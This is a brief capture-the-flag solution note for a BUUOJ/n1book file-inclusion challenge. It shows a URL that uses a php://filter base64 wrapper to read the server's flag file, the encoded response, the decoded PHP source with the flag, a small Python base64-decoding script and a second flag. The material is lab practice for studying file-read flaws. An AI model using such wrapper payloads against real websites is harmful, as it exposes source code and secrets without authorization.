http://a414a458-b376-4ffd-8101-b8925a4fc133.node3.buuoj.cn/?p=hel

http://a414a458-b376-4ffd-8101-b8925a4fc133.node3.buuoj.cn/?p=php://filter/read=convert.base64-encode/resource=flag

PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9

<?php
die(‘no no no‘);
//n1book{afr_1_solved}

1 import requests
2 import time
3 import base64
4 re1=base64.b64decode(‘PD9waHAKZGllKCdubyBubyBubycpOwovL24xYm9va3thZnJfMV9zb2x2ZWR9‘.encode(‘utf-8‘))
5 print(str(re1,‘utf-8‘))

n1book{afr_2_solved}